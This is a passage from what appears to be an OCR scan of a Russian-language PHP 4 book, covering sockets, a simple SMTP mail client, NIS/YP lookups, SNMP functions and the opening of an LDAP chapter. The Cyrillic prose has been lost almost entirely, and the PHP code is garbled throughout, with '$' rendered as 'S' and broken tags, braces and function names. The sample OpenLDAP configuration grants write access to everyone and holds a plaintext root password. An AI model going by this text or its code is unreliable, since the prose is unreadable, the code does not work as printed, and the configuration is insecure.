IP- . socket_bind() , - , IP ( AF_INET). AF_UNIX, UNIX,


UNIX.
port AF_INET , . ,
socket_bind() . , ,
, socket_st re ().
socket_connect()
int socket_connect(int socket, string address [, int port])
-, , . socket_connect(). , socket_create(). - IP , socket_create()
AF_INET. UNIX, socket_create() AF_UNIX.
port AF_INET ,
. socket_connect() , ,
,
socket_strerror().
socket_listen()
int socket_listen(int socket, int backlog)
socket_bind(),
IP- ,
, .
socket_listen(). socket, , -

501

- backlog, , .
, , , soc ket_st re ().
socket_accept()
int socket_accept (int socket)

,
socket_create(),
socket_bind() ,
socket_listen(). socket_accept(),
, socket_create(). .
, /. (. socket_set_blocking())
, socket_accept(), .
fsockopenQ and pfsockopen()
int fsockopen (string [udp://]hostname, int port [, int errno
[, string errstr [, double timeout]]])
, .
, IP-
. TCP,
UDP UNIX:

$fp = fsockopen("myTCPServer.wrox. com", 4567);

TCP, myTCPSe rve r. wrox. com


4567.

$fp = fsockopen("udp://myUDPServer.wrox.com", 6789);

UDP, myUDPServer.wrox.com
6789.
$fp = fsockopen("/tmp/unixsocket456",0);
UNIX, /tmp/unixsocket456.
UNIX 0.
e r r n o e r r s t r ,
. e r r n o , a e r r s t r - . errno 0, false, , .

502

13. TCP/IP

TCP UDP t i m e o u t , , . f a l s e .
, , , , f g e t s ( ) f p u t s ( ) .
pf sockopen() , f sockopen(), . , , fsockopen(), , , pf sockopen(), .
pfsockopen() , ,
. , , Apache . Apache, .
, ,
. ,
.
socket_set_blocking()
int socket_set_blocking(int socket_descriptor, int mode)
/
. ,
true, . false, .
, , , . ,
, .
socket_set_timeout()
boolean socket_set_timeout(int socket_descriptor, int seconds, int micros)
- .
, - , - , - /.
socket_read()
string socket_read(int socket_descriptor, int length [, int type])
, . length ,
.

503

type PHP_NORMAL_READ
PHP_BINARY_READ. PHP_NORMAL_READ, , \ ( ) \
( ). PHP_BINARY_READ, , . 4.0.6 type
PHP_NORMAL_READ. 4.1.0 type PHP_BINARY_READ. FALSE,
.
socket_write()
int socket_write(int socket_descriptor, string &buffer, int length)
socket_read(). , , , . ,
.
false, .
socket_strerror()
string socket_strerror(int errno)

, , , .
socket_strerror(),
.


, , ,
API DNS.
API DNS
, a API -
SMTP. . Mail API,
(. . 13.3).
HTML (mailer, html):
<html>
<head>
<title>Sitnple SMTP mail client</title>
</head>
<body bgcolor="999999" text="000000" link="#OOOOEE"
vlink="551A8B" alink="#FFOOOO">
<h1>Simple SMTP mail client</h1>
<form action="mailerPost.php" method="post" name="compose">
<table border="0" cellpadding="3" cellspacing="0" width="100%">

13. TCP/IP

504

<tr>
ctdxfont size="2"xb>To:</b></fontx/td>
<td><input type="text" size="50" name="To"> </td>
</tr>
<tr>
<tdxfont size="2"xb>From:</bx/fontx/td>
<tdxinput type="text" size="50" nanie="From"> </td>
</tr>
<tr>
<tdxfont size="2"xb>Subject:</bx/fontx/td>
<tdxinput type="text" size="50" name="Subject"> </td>
</tr>
</table>
ctable border="0">
<font size="2"><b>Message:</bx/fontxbr>
<textarea name="Message" rows="15" cols="50"
wrap="virtual"x/textarea>
<br><br>
<input type="submit" name="button" value="Send">
<input type="submit" name="button" value="Cancel">
</form>
</body>
</html>
W http: localhost/ProPHP4/Chapterl3/maerAnii"
J File Edit yiew Search So gookmarte tasks !

onjoeOdonjoe.i

hptest@wrox.com

mmm

esting SMTP client

This is a test message

Puc. 13.3.

mailerPost. p h p :
<?php
error_reporting(E_ALL);

505

if ($button != "Send") {
include("mailer. html");
} else {
$tmp = explode('@', $To);
if (!$tmp[0]) {
usage();
} else {

%'

SserverName = $tmp[1];
}
$tmp = explode('@', $From);
if (!$tmp[0]) {
usage();
} else {
SclientName = $tmp[1];
}
StmpSmtpServer = getmxrr($serverName, Smxnosts);
if (StmpSmtpServer == FALSE) {
// - ,
// ,
SsmtpServer = $serverName;
} else {
SsmtpServer = $tmpSmtpServer[0];

'

- ' """-',:

': SsmtpServerIP = gethostbyname($smtpServer);


SsmtpServerPort = getservbynameCsmtp', 'top');

Ssocket = socket_create(AF_INET, SOCK_STREAM, 0);


if .('Ssocket < 0). {
: errQuit("socket_create() failed: " . socket^strerror($socket));

/.: J

. Sconn =' socket_connect($socket, SsmtpServerIP, SsmtpServerPort);


if ($conn < 0) {
errQuit("socket_connect() failed: " . socket_strerror($conn));
}
$msg = "HELO SclientName \r\n";
doProtocoKSsocket, $msg);
$msg = "MAIL FROM: '$From'\r\n";
doProtocol($socket, $msg);
= "RCPT TO: -$To'\r\n";
doProtocol($socket, $msg);
$msg = "DATA\r\n";
doProtocoKSsocket, $msg);
$msg = '"$Message'\r\n.\r\n"
doProtocol($socket, $msg);
$msg.= "QUIT\r\n";
doProtocol($socket, $msg);
close($socket);

506

13. TCP/IP
echo("<h2>Message successfully sent to '$To' </2>">;

}
: function doProtocol($socket, $msg)
{

$ret = socket_write($socket, $msg, strlen($msg));


if ($ret < 0) {
errQuit("socket_write() failed: " . socket_strerror($ret));
}
$out = "";.
while(($out = socket_read($socket, 4096, PHP_NORMAL_READ)));
if (!$out) {
errQuit( "socket read() failed: " . socket strerror($ret));
}
return;

}
function errQuit($msg)
echo($msg . "<
echo("<h3>Could not send message</h3>");

function usage()
{
include( "mailer. html");


, DNS, , DNS
, . , , ,
.
, UNIX, , .
, . , jdoe ,
.

.

507

,
. Sun Microsystems - Network Information Service (NIS),
(Yellow Pages).
NIS
, . . NIS . ,
DNS, . NIS , NIS ( ) NIS , .
, NIS (. 13.4):

NIS

: /

: /

NIS

NIS

NIS

N15

NIS

NIS

18

NB

. 13.4. , NIS

NIS
NIS /,
NIS. - - . NIS
(master server). NIS.
, , , NIS.

508

13. TCP/IP

, ,
.
(slave servers). NIS ,
, .
NIS , ,
. , , , ,
, .

NIS
NIS , NIS
, . NIS
, , NIS , . , UNIX NIS , NIS.

NIS
NIS . NIS (NIS maps). NIS ,
/etc/passwd, UNIX .
NIS , NIS . ,
, .
, - hosts, byname,
, hosts, byaddr, IP-. ,
, ; hosts, byaddr
hosts.
NIS
UNIX, (. . 13.3).
, NIS DNS. , .
NIS LDAP, . NIS LDAP,
NIS LDAP, .

509

13.3. NIS I TNIX

passwd. byname

passwd


/etc/passwd

-

passwd.byaddr

n/a

/etc/passwd

group. byname

group

/etc/groups

/etc/groups

group, bygid

hosts. byname

n/a

/etc/hosts

- IP

hosts. byaddr

hosts

/etc/hosts

- IP IP

networks. byname

n/a

/etc/networks

networks. byaddr

networks

/etc/networks

netmasks. byaddr

netmasks

/etc/netmasks

. - ,

,

ethers. byname

ethers

/etc/ethers

,
IP Ethernet

ethers. byaddr

n/a

/etc/ethers

,
IP Ethernet

protocols. byname

n/a

/etc/protocols

/etc/protocols

protocols. bynumber protocols

services. byname

services

/etc/services

rpc. bynumber

rpc

/etc/ rpc

,
RPC ( )

510

13. TCP/IP

NIS
, NIS NIS. NIS ,
NFS.
NIS
Managing NFS and NIS O'Reilly & Associates (ISBN 1-56592510-6).

NIS PHP
PHP NIS,
.
.
--enable-yp.
yp_get_default_domain()
string yp_get_default_doroain

NIS , . NIS
, NIS. false. UNIX NIS
domainname:
<?php
//ypDomain.php
Sdomain = yp_get_default_domain();
if ($domain != FALSE) {
echo("The default NIS domain is $domain. <br>");
} else {
echo("Default domain is not available. <br>");

yp_master()
string yp_master(string domain, string map)

, NIS
. UNIX ypw h i c h . hosts:
<?php
Smaster = yp_master ("wrox.com", "hosts. byname");
echoC'The NIS master server for the wrox.com domain's host map
is Smaster <br>");

511

yp_match()
string yp_match(string domain, string map, string key)

, , . UNIX ypmatch:
<?php

Sentry = ypjnatch ("wrox.com", "hosts. by name", "gateway");


echo("The host information for the machine gateway is Sentry");

?>

.. ; i :

. .

192. 168. 100. 2 gateway.


, , NIS .
<?
function userExists($user)
'{
Sentry = yp_match( "wrox.com", "passwd. byname", Suser);
if (Sentry) {
return TRUE;
} else {
return FALSE:

-:;>...

ypjirst()
array yp_first(string domain, string map)

, key value. - . false:


<?php
Sentry = yp_first("wrox.com", "hosts. byname");
$key = Sentry ["key"];
Svalue = Sentry ["value"];
echo("The first entry in the host map is indexed by the key
. Skey . " and has
the' value' " .Svalue);
'
'
yp_next()
array p_next( string domain, string map, string key)
yp_f i rst( ), , ,
key. false:
<?
echo("The key and the corresponding entry after joe

512

13. TCP/IP
. in the hosts. byname map of the wrox.com domain are: <br>");
Sentry = yp_next( "wrox.com", "hosts. byname", "joe");
if (Sentry == FALSE) {
echo("No more entries");
} else {
echo("Key: " . $entry["key"] . "Value: " . $entry[ "value"]);

hosts, byname, , "joe".


yp_order()
int yp_order(string domain, string map)

, , , . false. .
, . UNIX yppoll:
<?
$ordNum = yp_order("wrox.com", "hosts. byname");
if (SordNum != FALSE) {
echo("The order number for the hosts map is: $ordNum <br>");
} else {
echo( "Order number could not be found. <br>");

(SNMP)
,

. , , . - Simple Network Management Protocol (SNMP) , .


SNMP -,
, SNMP.
, SNMP (managers).

513

(SNMP)

(protocol module), , (instrumentation module),


. ,
, , .
SNMP (Management
Information Bases - MIB), .
, SNMP
.
SNMP - (. 13.5).

SNMP MIB.
SNMP , . , SNMP
, , . -

(^ "

/ ;


( SNMP)


( SNMP)


( SNMP)
( SNMP)


( SNMP)

- SNMP


( SNMP)


( SNMP)

. 13.5. SNMP

!73. 989

514

13. TCP/IP

, SNMP.


.
, ,
, .

SNMP
SNMP ASCII UDP, SNMP .
.

Get
get . get ,
.

Get Next
, ( ). get-next get,
, ,
get get-next, get .

Set
- get . . set
. ,
NextRebootTime 0.
,
.

Trap
,
, . ,
. , , ,
.
t rap.
trap SNMP .

(SNMP)

515

SNMP
SNMP ,
,
.
, SNMP ,
. , Integer, . ,
.
Object Identifier (OID) . OID.
OID (. 13.6):

|udpinDatagrams(1)| | udpNoPorts(2)] | udlinErrors(3J~| | udpOutDatagrams(4J]


. 13.6. OID

, i s o . o r g .
dod. internet.mgmt.mib. udp.udpOutDatagrams IP. OID ,
, iso.org.dod. i n t e r n e t . m g m t . m i b . u d p . u d p O u t D a tagrams, , , 1 . 3 . 6 . 1 . 2 . 1 . 7 . 4 . SNMP - ,
.
MIB - OID,
SNMP. TCP/IP , . MIB -

516

13. TCP/IP

( ), ,
.
(community) , . . , . , , . . IP-
, SNMP.
http://www.snmp-products.com/RFC/rfcl212.txt

http://www.snmp-products.com/RFC/rfcl213.txt.

SNMP
,
SNMP, . , UCD
SNMP, http://ucd-snmp.ucdavis.edu/.
SNMP, --with-snmp.
, --enable-ucd-snmphack, , UCD SNMP. Microsoft Windows ,
Windows NT.
snmpgetQ
string snmpget(string hostname, string community, string object_id
[, int timeout [, int retries]])
SNMP, object_id, , hostname. community , , timeout . retries get
-:

<?

$udpOut= snmpget("localhost", "public", "udp.udpOutDatagrams.O");


echo("The number of UDP datagrams that have been sent out is SudpOut <br>");
?>-.:'.
.' -.;7 ; :
....' '
' '
s \ '
UDP,
.
snmpsetQ
boolean snmpset(string hostname, string community, string object_ld,
string type, mixed value [, int timeout [, int retries]])

(SNMP)

517

SNMP, bject_id, , value. type


object_id. timeout retries -
set
-:
<?

echo( "Attempting to enable IP forwarding<br>");


if (snmpset("localhost", "public", "system. sysLocation.O", "s",
"North Conference Room") ==; false) {
echoC'IP forwarding could not be enabled. <br>");
} else {
echoC'IP forwarding is now enabled. <br>");

} ; ' ,

'.;'

:.,, ..

IP . IP
, IP.
snmpwalkQ
array snmpwalk( string hostname, string community, string object_id
[, int timeout [, int retries]])
snmpwalk( ) OID. , , object_id.
object_id , OID . SNMP;
false:
<?php
$tcpObjs = snmpwalk("localhost", "public", "tcp");
echo("The list of TCP objects are:<br>");.
for ($i =0; $i < count (StcpObjs); ++$i) {
echo($tcpObjs[$i]);

snmpwalkoid()
array snmpwalkoid(string hostname, string community, string object_id
[, int timeout [, int retries]])

, snmpwalk( ), , :
<?php
StcpObjs = snmpwalkoid("localhost", "public", "tcp");
echoC'The- list of TCP objects are:<br>");
do {
echo($tcpObjs[key($tcpObjs)]);

518

13. TCP/IP

} while(next($tcpObjs));

snmp_get_quick_print() snmp_set_quick_print()
boolean snmp_get_quick_print
void snmp_set_quick_print (boolean quick_prlnt)
SNMP ,
( ) get. ,
. . (quick print), .
snmp_get_quick_print( ) false, , t r u e . snmp_set_quick_print()
true, , false,
:
<?
if (snmp_get_quick_print() == false) {
echo( "Quick print is currently disabled <br>");
$udpOut = snmpgetC'localhost", "public", "udp.udpOutDatagrams.O");
echo("No. of outbound UDP packets = ludpOut");
snmp_set_quick_print(true);
echo( "Quick print is enabled now <br>");
SudpOut = snmpgetC'localhost", "public", "udp.udpOutDatagrams.O");
echo("No. of outbound UDP packets = SudpOut");
} else {
echo( "Quick print is currently enabled <br>");
SudpOut = snmpgetC'localhost", "public", "udp.udpOutDatagrams.O");
echo("No. of outbound UDP packets = SudpOut");
snmp_set_quick_print(false);
echo("Quick print is disabled now <br>");
SudpOut = snmpgetC'localhost", "public", "udp.udpOutDatagrams.O");
echoC'No. of outbound UDP packets = SudpOut");

,
, - . TCP/IP -

519

, .
IP. -
IP- DNS. PHP
DNS. YP/NIS,
. YP/NIS
.
4.0.6 , , , - .
,
, API DNS. SNMP
, SNMP.

14
LDAP
LDAP (Lightweight Directory Access Protocol) -
. , .
, .
:
, , LDAP
LDAP
LDAP
API, PHP LDAP
LDAP API LDAP,


. , - , , - ,
. , ,
, .

LDAP

521

.
.
, . - DNS. DNS
, -, DNS
IP- .
- IP-.
,
, . DNS
DNS LDAP.

LDAP
LDAP , .500.
.500 -
OSI
. LDAP .500, TCP/IP,

. , ,
LDAP , . LDAP 3 LDAP.

LDAP
LDAP
, . ,
, , LDAP, , ,
.
, . LDAP, ,
. LDAP , .
LDAP
Berkeley GDBM (Gnu Database Manager).
. Berkeley Berkeley

522

14. LDAP

OpenLDAP Netscape Directory Server,


. LDAP , Oracle OID Microsoft's ICL
i.500. , LDAP

.

. :
;
telephonenumber, .
LDAP .
, , , ? , , ID. LDAP telephonenumber, ; telephonenumber, , . , . - , LDAP .

LDAP ,
. , , FooWid Inc
LDAP . workfloor, , . , , First Floor.
, ,
. ,
, . -
objectclass , DN . objectclass, ,
, .

. , ,
, ,
. : - , . ( ).

LDAP

523

LDAP
LDAP
(. 14.1).
LDAP (LPAP Server) - , OpenLDAP

LDAP .

( ).
PHP
;
LDAP

LDAP,
Netscape SDK

(Back-End Database),
, . 14.1. LDAP
LDAP , . . -
- ( , ).
LDAP, .500 (.500 Server), , .
, .
LDAP, , , LDAP, . LDAP .
LDAP, API , LDAP, LDAP
, LDAP.

LDAP
LDAP,
.

524

14. LDAP


LDAP ,
. : , LDAP, ,
.
, , yourdomain. com foomachine. mydomain. com foomachine, foomachine. mydomain. com,
foomachine yourdomain.com, foomachine.yourdomain.com. LDAP
, .


LDAP
, . , LDAP TCP/IP, , , TCP/IP. ,
, LDAP.


LDAP
. , GUI,
. , LDAP
, . LDAPvS , Unicode UTF-8
.


LDAP ,
- . LDAP

. ,
LDAP , .


LDAP ,
. , , -

LDAP

525

, . LDAP 2 . , , , .
LDAP v3 SASL (Simple Authentication and Security Layer) , .
SSL (Secure Socket Layer) - - .
LDAP
, , ,
( ) .
, 3,
. - , .

LDAP
,
LDAP, , , , LDAP.
:
, , 6- . , ,
, 22 .
LDAP ,
:. .
LDAP
. , LDAP .500
, LDAP, LDAP
, .500. - LDAP, f i n g e r LDAP DNS LDAP.
, LDAP:


IT (, IP- )

14. LDAP

526

URL
,

, LDAP , , .
LDAP, FooWid Inc.
(. 14.2):

. 14.2. FooWid

FooWid ,
- (Manufacturing) (Administration) - 5 . , , . ,
LDAP (. 14.3):
()

JoeM
; \ | V..'

KateLJ

Bob W |

jjj | .

. 14.3. FooWid LDAP

LDAP

527


. - , - , 0;
ou (organizational unit - ). en (common name). .
cn=Bob W, ou=Administration, o=FooWid, c=US , .
,
, .
, , , , ? . , Bob c=US,
o=FooWid, ou=Administration, cn=BobW.

, LDAP
FooWid,
:
(Entry)
, - , . , Bob, , ,
, . . - DSE (Distinguished Service Entry) - .
(Attributes)
, .
Bob, (common name),
Bob W; .
(Objects)
. ,
. . ( ).
(Distinguished Name, DN)
, Bob ( ) , c=US, o=FooWid, ou=Administration, cn=Bob W. . , ,
, . , , . , DN
.

528

14. LDAP

(Relative Distinguished Name, RDN)


DN .

RDN.
(Directory Information Tree, DIT)
DIT.
(Schema)
LDAP . ,
, , , . . ,
LDAP, RFC 2256 (http://www.ietf.org/rfc/
rfc2256.txt).

LDAP
LDAP, LDAP,
:




, , . . . , , .
. , . LDIF (LDAP
Data Interchange Format).
LDAP (LDIF)
LDIF - . LDIF ,
. ,
, GDBM, , Oracle.
LDIF LDAP. ,
(, )

529

LDAP

base64 ( ),
LDIF. , LDIF .
LDAP , , LDIF.
, ,
LDAP (. 14.4):
c=US

o=myorg
l
.-^-
_ - -^-- ---

_-
en: James Close
1 : San Francisco
mail: jc@myorg.com
telephonenumber: 789
4567890
Description: Dot com
dude

en: Nikki Cruise


1 : Arlington
mail: nc@myorg.com
telephonenumber: 123
4567890
Description: Corporate
evangelist

:-_

en: Martha Cain


1 : Kansas City
mail: mc@myorg.com
telephonenumber: 456
1237890
Description: Aspiring
actor

. 14.4.

, LDAP.
LDIF, :
dn: o=myorg, c=us
objectclass: top
objectclass: organization
o: myorg
dn: mail=nc@myorg.com, o=myorg, c=us
en: Nikki Cruise
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
1: Arlington
mail: nc@myorg.com
telephonenumber: 123 456 7890
Description; Corporate Evangelist
dn: mail=jc@myorg.com, o=myorg, c=us
en: James Close
objectclass: top
objectclass: person

530

14. LDAP

objectclass: organizationalPerscfn
objectclass: inetOrgPerson
1: San Francisco
mail: jc@myorg.com
telephonenumber: 789 456 7890
Description: Dot com dude
dn: mail=mc@myorg.com, o=myorg, c=us
en: Martha Cain
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
1: Kansas city
mail: mc@myorg.com
telephonenumber: 456 123 7890
Description: Aspiring actress
,
o=myorg:
. dn: o=myorg, c=us
objectclass: topobjectclass: organization
go: jnyorg
(dn) ,
objectclass (). ,
DN , -
(root). DN RDN, ,
RDN . . , , . . c=us,
. , DN
o=myorg, c=us.
DN , , ;
DN. objectclass , . , organization.
:
dn: mail=jcisimyorg.com, o=myorg, c=us
en: James Close

objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
1: San Franscisco

LDAP

531

mail: jc@myorg.com
telephonenumber: 789 456 7890
telephonenumber: 111 000 2222
Description: Dot com dude
, , DN
mail=jc@myorg.com, o=myorg, c=us.
en , mail , telephonenumber , 1 , a Description . , objectclass ,
.
telephonenumber;
. , .
RON . DN
cn=James Close, o=myorg, c=us. , , .


LDAP . UNIX, . LDAP ,
, , ,
. LDAP : , UNIX, . , LDAP , UNIX /home/too/
myf ile, LDAP cn=myf ile, dc=f oo, dc=home.
? , . James
Close. DN -mail=jc@myorg.com, o=FooWid, c=US.
, ,
. , .
, mail=jc@myorg.com RDN, ..
o=FooWid, c=US jc@myorg. com
mail, . , , - : , a James Close - .

532

14. LDAP


, . ,
.
, :




, ,
. . ,
.
LDAP , . , , , , , LDAP. LDAP LDAP ( LDAP),
, . , ().
- , , .
, FooWid :
(=**) - , Nikki Cruise James Close
(cn=*a*) (ou=manufacturing) - ,
(cn"=Close) - ,
Close. Klose
Gloss,
(cn>=Close) - ,
, Close
(cn<=Close) - , Close
(=*) ,

, , :
(Add)
, .

LDAP

533

, , : , - . DN, LDAP , .
.
(Delete)
. DN. ,
.
(Rename)
:

DN

(Modify)
LDAP DN
. LDAP
, .
LDAP 2 DN;
RDN. 2 DN DN ,
.

- (bind) (unbind)
- (abandon):
(bind)
DN
.
, . , , , ,
unbind.
(unbind)
. , .
(abandon)
, abandon .
ID .

534

14. LDAP


.
, . . ,
, .
LDAPv2 DN .
, a DN
. , . , , Kerberos.
LDAPvS SASL. SASL - , . ,
SSL, SASL - TCP/IP.
SSL TLS (Transport Layer Security), ,
LDAP. , LDAP
startTLS TLS
. startTLS RFC 2487 (http://www.ietf.org/
rfc/rfc2487.txt?number=2487).
LDAP . LDAP - .
, . ,
, ,
, , , .

LDAP
, LDAP, -, .


LDAP . , .
( LDAP ),
,
.

535

, , . .
, .
, , ,
, - . , . LDAP , ( ). LDAP
- , LDAP .
API LDAP.

, ,
. , ,
, ,
LDAP . ,
LDAP LDAP, .
- LDAP LDAP. - .
. , , . . ,
- .


(referrals) , LDAP.
LDAP LDAP. ,
,
.
, . .


LDAP ,
, , . .

536

14. LDAP

SASL, .
LDAP, ,
. , LDAP, LDAP,
. . , LDAP , .

LDAP.


,
, LDAP. LDAPvS
. :

, . , , .
, .

LDAP , .
SASL
SASL, , , .
LDAP Understanding and
Deploying LDAP Directory Services Macmillan Technical Publishing (ISBN 1-578700-70-1) Implementing LDAP Wrox (ISBN
1-861002-21-1).

LDAP
LDAP , :
Netscape Directory Server
Innosof t Distributed Directory Server

537

Lucent Technology Internet Directory Server

Sun Microsystems Directory Services


IBM DSSeries LDAP Directory
Microsoft Active Directory
SLAPD
OpenLDAP, . ,
LDAP ,
.
LDAP , , LDAP -
, URL Idap: //.
, Netscape SDK
LDAP Java. : PerLDAP Perl, JNDI Sun ADSI SDK
Microsoft. PHP API LDAP.
ColdFusion - , API LDAP.

LDAP
OpenLDAP Unix- . http://www.openldap.org/. OpenLDAP , open source, .
:
tar xzvf openldap-stable-xyz.tgz
LDAP:
cd openldap-stable-xyz
, :
./configure --enable-ldbn --with-ldbm-api=gdbm
--enable-ldbm , , --with-ldbm-api=gdbm - GDBM.
GDBM , GNU: http://
www.gnu.org/. , Berkley UNIX,
-with-ldbm-api
configure.

538

14. LDAP

:
make depend && make
:
cd tests; make


( root):
cd . .

make install

OpenLDAP
OpenLDAP ,
, .
/usr/local/etc/openldap/slapd . conf .
, .
, OpenLDAP:
include
include

/usr/local/etc/openldap/slapd. at. conf


/usr/local/etc/openldap/slapd. oc. conf

schemacheck off
referral Idap: //ldap.itd.umich.edu
pidfile
argsfile

/usr/local/var/slapd.pid
/usr/local/var/slapd.args

access to * by * write

# Idbm database definitions


database
suffix
directory
rootdn
rootpw

Idbm
"o=myorg, c=US"
/home/myhome/test-addr
"cn=root,o=myorg, c=US"
opensesarne

#
.
i n c l u d e , . .
slapd . at . conf slapd . . conf slapd. conf. , slapd. oc. conf (, inetOrgPerson, ). slapd. at. conf .

LDAP

539

schemacheck on off ,
. o f f .
referral , LDAP LDAP ( URL
Idap: //), , ,
.
pidsfile a r g s f i l e . , , .
access LDAP, , . access
to * by * write, ( ,
).
database , , d i r e c t o r y ,
.
s u f f i x . DN
.
rootdn , . DN . rootpw .

slapd
slapd ( LDAP),
- :
dn: o=myorg, c=US
: myorg

dn: mail=richardc@xyz.com, o=myorg, c=US .


en: Richard Collins
mail: richardc@xyz.coin
locality: Birmingham
description: Linux enthusiast
telephonenumber: 3283-3920392-32932
objectclass: top
objectclass: person
dn: mail=hrawat@hrawat.com, o=myorg, c=US
en: Harish Rawat
mail: harawat@hrawat.com

540

14. LDAP-

locality: San Mateo


description: Java coder
telephonenumber: 870-28912-221
objectclass: top
objectclass: person
, /home/ldaptest/myaddrdir. Idif. LDIF,
. , slapd.conf ; /home/ldaptest/myslapd.conf:
/usr/local/sbin/ldif21dbm -i /home/ldaptest/myaddrdir.ldif
-f /home/ldaptest/myslapd.conf

-f /home/ldaptest/myslapd.conf ,
/home/ldaptest/myslapd.conf, -i /home/ldaptest/
myadd rdl r. Idif LDIF .
9009 /home/ldaptest/myslapd. conf, :
/usr/local/libexec/slapd localhost -p 9009 -f /home/ldaptest/myslapd.conf
-d 5
-d 5 5, . . , . , -, 389 - LDAP.
root , slapd, , 1024.


Netscape Communicator. address book ,
. File
New Directory (
localhost 9009),
(o=myorg, c=us ). Search for names containing , , Richard, .
,
Idapsearch, OpenLDAP:
/usr/local/bin/ldapsearch -h localhost -p 9009 -b 'o=myorg, c=us' 'cn=*Richard*'
,
Richard. - DN, . cn=*Richard*, , Richard.

LDAP PHP

541

,
OpenLDAP, Idapadd, Idapmodif Idapdelete, , .

LDAP
, LDAP, LDAP, ,
, , .
- ( Yahoo Mail Hotmail), . , : :,
. LDAP,
API PHP LDAP.
HTML, ,
. LDAP, ( ) LDAP.

API LDAP,
API PHP LDAP, LDAP.

OpenLDAP, .
, conf igu re PHP :
./configure --with-apache=../apache_X.X.X -with-ldap other_options
/LDAP LDAP
:
ldap_connect() -
,
ldap_bind() - RDN,
ldap_search(), ldap_modify(), ldap_delete() . . -
ldap_close() -
LDAP:

542

14. LDAP


LDAP, - ,
. , . .
ldap_connect()

int ldap_connect([string hostname [, int port]])

ldap_connect() LDAP hostname


port. , ( ldap_connect) . hostname,
389. -
LDAP, false.
ldap_bind()
int ldap_bind(int llnk_identifier [, string bind_rdn
[, string bind_password]])

ldap_connect().
LDAP DN . t r u e
false . bind_rdn bind_password ,
.

, .
, , ,
, en, sn, givenname, mail telephonenumber, .
ldap_unbind()
int ldap_unbind(int link_identifier)
, link_identifier.
t r u e false .
ldap_close()

int ldap_close(int link_identifier)


ldap_close() LDAP, l i n k identifier.

LDAP PHP

543

link_identifier , ldap_connect(). ldap_close()


ldap_unbind(),
. ldap_close() .
t rue false .
ldap_get_option()
boolean ldap_get_option(int link_identifier, int option, mixed retval)
ldap_get_option() . true, , false,
. .
:
LDAP_OPT_PROTOCOL_VERSION - LDAP
LDAP_OPT_RESTART - , LDAP
LDAP_OPT_HOST_NAME - LDAP
LDAP_OPT_REFERRALS - , SDK
,
. : http://www.openldap.org/devel/cvsweb.cgi/~chechout~/doc I drafts/draft-ietf-ldapext-ldap-c-api-xx.txt.
4.0.4 LDAP 2.0 Netscape Directory.
ldap_set_option()
boolean ldap_set_option(int link_identifier, int option, mixed newval)
ldap_set_option() . true, , false, .
, - . . 4.0.4 LDAP 2.0 Netscape Directory.


LDAP ,
. , , .
ldap_search()
int ldap_search(int link_identifier, string base_dn, string filter
[, array attributes [, int attrsonly [, int sizelimit
[, int timelimit [, int deref]]]]])

544

14. LDAP

ldap_search() LDAP_SCOPE_SUBTREE. DN, base_dn.


- ,
LDAP.
false .
a t t r i b u t e s . , , . .
, ("mail", "sn", "en"). ,
dn .
, attrsonly, , . 1, , 0, .
sizelimit.
, . , .
timelimit
. 0, . , sizelimit,
, .
, deref,
. :
LDAP_DEREF_NEVER
. .

LDAP_DEREF_ALWAYS

.
LDAP_DEREF_SEARCHING
,
.

LDAP_DEREF_FINDING

,
.
ldap_compare()
int ldap_compare(int link.identifier, string dn,
string attribute, string value)

LDAP PHP

545

ldap_compare() , DN. , DN , , , , .
true, , false, , -1 .
4.0.2 :
<?php

if (! ($conn=ldap_connect("ldapmachine.myorg. com"))) {
echo( "Failed to. connect to the server");
} else {
if (ldap_bind($conn)) {
StoCompare = "richard";
$dn = "mail=richardc@xyz.com, o=myorg, c=us";
$attr = "en";
if(($ret = ldap_compare($conn, $dn, $attr, StoCompare)) < 0) {
echo("ldap_compare failed");
} elseif ($ret == TRUE) {
echo( "Comparison succeeded");
} elseif ($ret == FALSE) {
echo( "Comparison failed");
>
} else {
echo("Failed to bind to the server");

ldap_close($conn);

ldap_read()
int ldap_read(int link_identifier, string base_dn, string filter
[, array attributes [, int attrsonly [, int sizelimit
[, int timelimit [, int deref]]]]])
ldap_read( )
LDAP_SCOPE_BASE, . .
objectClass=*. , , , objectClass=inetOrgPerson.

. false . a t t r s o n l y , sizelimit, t i m e l i m i t deref ,
ldap_search().

Idap_dn2ufn()
string Idap_dn2ufn(string dn)
183 989

546

14. LDAP

I d a p _ d n 2 u f n ( ) , DN .
, DN 'cn=Resident Geek, o=caffeinated, c=uk'
1
Resident Geek, caffeinated, uk'.
ldap_explode_dn()
array ldap_explode_dn(string dn, int with_attrib)
ldap_explode_dn() DN, ldap_get_dn(),
, RDN. , . with_att rib ,
RDN .
RDN ( attribute=value),
with_attrib 0, , 1.
ldap_first_attribute()
string ldap_first_attribute(int link_identifier,
int result_entry_identifier, int &ber_identifier);

ldap_first_attribute() , . ldap_next_attribute().
ber_identif ier
. , &. ber_identifier ldap_next_attribute(), , , .
ldap_first_entry()
int ldap_first_entry(int link_identifier, int result_identifier)

LDAP ldap_first_entry() ldap_next_entry(). l d a p _ f i rst_entry() .


lap_next_entry() .
false .
ldap_free_result()
boolean ldap_free_result(int result_identifier)
ldap_f ree_result() , result_identifier.
, , . , , ldap_f ree_result(). t rue false .

LDAP PHP

547

ldap_get_attributes()
array ldap_get_attributes(int link_identifier, int result_entry_identifier)
ldap_get_attributes() . , .
, , . ,
, / . ,
, .
false .
ldap_get_dn()
string ldap_get_dn(int link_identifier, int result_entry_identifier)
ldap_get_dn() DN
. false.
ldap_get_entries()
array ldap_get_entries(int link_identifier, int result_identifier)
.
. . (
,
.)

false .
ldap_get_values()
array ldap_get_values(int link_identifier,
int result_entry_identifier, string attribute)
ldap_get_values() . result_entry_identif ier. count . . 0.
result_entry_identifier,
LDAP
. (, surname mail),
ldap_get_attributes ,
. LDAP , , , , m a i l .

548

14. LDAP

IdapJistQ
int ldap_list(int link_identifier, string base_dn, string filter
[, array attributes [, int attrsonly [, int sizelimit
[, int timelimit [, int deref]]]]])
,
, . , . ldap_list() LDAPJBCOPE_ONELEVEL. ,
, DN, . ( Is UNIX
.)
- , . attrsonly, sizelimit, t i m e l i m i t deref ,
ldap_search() ldap_read(). false .
ldap_count_entries()
int ldap_count_entries(int link.identifier, int result_identifier)
ldap_count_entries() ,
( ). r e s u l t _ i d e n t i f i e r LDAP. false.
Ida p_next_attri bute()
string ldap_next_attribute(int link_identifier,
int result_entry_identifier, int &ber_identifier)

